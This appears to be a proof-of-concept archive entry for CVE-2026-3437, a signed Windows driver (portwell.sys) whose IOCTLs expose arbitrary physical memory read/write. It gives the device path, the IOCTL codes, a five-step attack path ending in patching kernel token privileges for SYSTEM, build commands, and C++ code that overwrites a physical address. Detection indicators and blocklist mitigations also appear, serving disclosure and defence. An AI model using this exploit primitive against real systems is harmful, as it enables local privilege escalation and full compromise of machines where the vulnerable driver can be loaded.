PoC Archive PoC Archive
High CVE-2026-3437 unpatched

Portwell Engineering Toolkits Driver Arbitrary Physical Memory R/W LPE (CVE-2026-3437)

by tihomirocrew · 2026-07-05

Severity
High
CVE
CVE-2026-3437
Category
binary
Affected product
Portwell Engineering Toolkits driver, portwell.sys (v4.8.2)
Affected versions
Portwell Engineering Toolkits v4.8.2
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researchertihomirocrew
CVE / AdvisoryCVE-2026-3437
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsbyovd, windows-driver, kernel, lpe, physical-memory, ioctl, privilege-escalation
RelatedN/A

Affected Target

FieldValue
Software / SystemPortwell Engineering Toolkits driver, portwell.sys (v4.8.2)
Versions AffectedPortwell Engineering Toolkits v4.8.2
Language / PlatformC++ (Windows, native), targets the portwell.sys kernel driver via DeviceIoControl
Authentication RequiredLocal-only
Network Access RequiredNo

Summary

portwell.sys, a legitimately signed driver shipped with Portwell Engineering Toolkits v4.8.2, exposes IOCTL handlers that let any local user-mode process read and write arbitrary physical memory via MmMapIoSpace, with no validation of the caller-supplied physical address, width, or size. The PoC opens a handle to the \\.\PORTWELL_0_1 device and issues the IOCTL_READ_PHYS (0xEA606450) and IOCTL_WRITE_PHYS (0xEA60A454) codes to read and then overwrite a physical memory location, demonstrating the classic “Bring Your Own Vulnerable Driver” (BYOVD) primitive that can be chained into full SYSTEM/kernel compromise.


Vulnerability Details

Root Cause

The driver’s IRP_MJ_DEVICE_CONTROL dispatch routine maps attacker-controlled physical addresses via MmMapIoSpace and performs the requested read/write without verifying that the address, width, or size are within any safe or expected range.

Attack Vector

  1. Install/load the legitimately signed but vulnerable portwell.sys driver (classic BYOVD prerequisite).
  2. Open a handle to the device object at \\.\PORTWELL_0_1 from an unprivileged user-mode process.
  3. Send IOCTL_READ_PHYS with an attacker-chosen physical address to read arbitrary physical memory.
  4. Send IOCTL_WRITE_PHYS with an attacker-chosen physical address and data to write arbitrary physical memory.
  5. Use the read/write primitive to locate and patch kernel structures (e.g., token privileges) to escalate to SYSTEM.

Impact

A local, low-privileged attacker who can load the driver gains an arbitrary physical memory read/write primitive, enabling local privilege escalation to SYSTEM/kernel and full system compromise.


Environment / Lab Setup

Target:   Windows host with portwell.sys (Portwell Engineering Toolkits v4.8.2) loaded
Attacker: Windows C++ toolchain (MSVC/CMake) to build and run entry.cpp against the loaded driver

Proof of Concept

PoC Script

See entry.cpp, portwell.hpp, and CMakeLists.txt in this folder.

1
2
3
cmake -B build -S .
cmake --build build
build\cve-2026-3437.exe

The compiled executable opens a handle to the Portwell device, reads a 32-bit value from physical address 0x1000, overwrites it with 0x1337 via write_phys, then reads it back to confirm the arbitrary physical write succeeded.


Detection & Indicators of Compromise

Signs of compromise:

  • Presence and loading of portwell.sys on systems where Portwell Engineering Toolkits is not an expected/installed vendor utility
  • Unusual user-mode processes opening handles to \\.\PORTWELL_0_1 and issuing IOCTL codes 0xEA606450/0xEA60A454
  • Unexplained privilege escalation events or token manipulation shortly after driver load

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; block via Microsoft’s vulnerable driver blocklist (HVCI/WDAC) where possible
Interim mitigationAdd portwell.sys to a driver blocklist/deny policy, restrict driver-loading privileges, and enable HVCI/WDAC to prevent untrusted vulnerable drivers from loading

References


Notes

Mirrored from https://github.com/tihomirocrew/cve-2026-3437 on 2026-07-05.

entry.cpp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define WIN32_LEAN_AND_MEAN
#include <Windows.h>

#include <cstdint>
#include <print>
#include "portwell.hpp"

int main() {
    if (!portwell::init())
        return 1;

    constexpr std::uint64_t target = 0x1000;

    std::uint32_t value{};
    if (!portwell::read_phys(target, &value, sizeof(value))) {
        std::println("[portwell] read_phys failed (GLE={})", GetLastError());
        return 1;
    }
    std::println("[portwell] read_phys @ {:#x} -> {:#x}", target, value);

    value = 0x1337;
    if (!portwell::write_phys(target, &value, sizeof(value))) {
        std::println("[portwell] write_phys failed (GLE={})", GetLastError());
        return 1;
    }
    std::println("[portwell] write_phys done!");

    std::uint32_t result{};
    if (!portwell::read_phys(target, &result, sizeof(result))) {
        std::println("[portwell] read_phys failed (GLE={})", GetLastError());
        return 1;
    }
    std::println("[portwell] read_phys @ {:#x} -> {:#x}", target, result);

    return 0;
}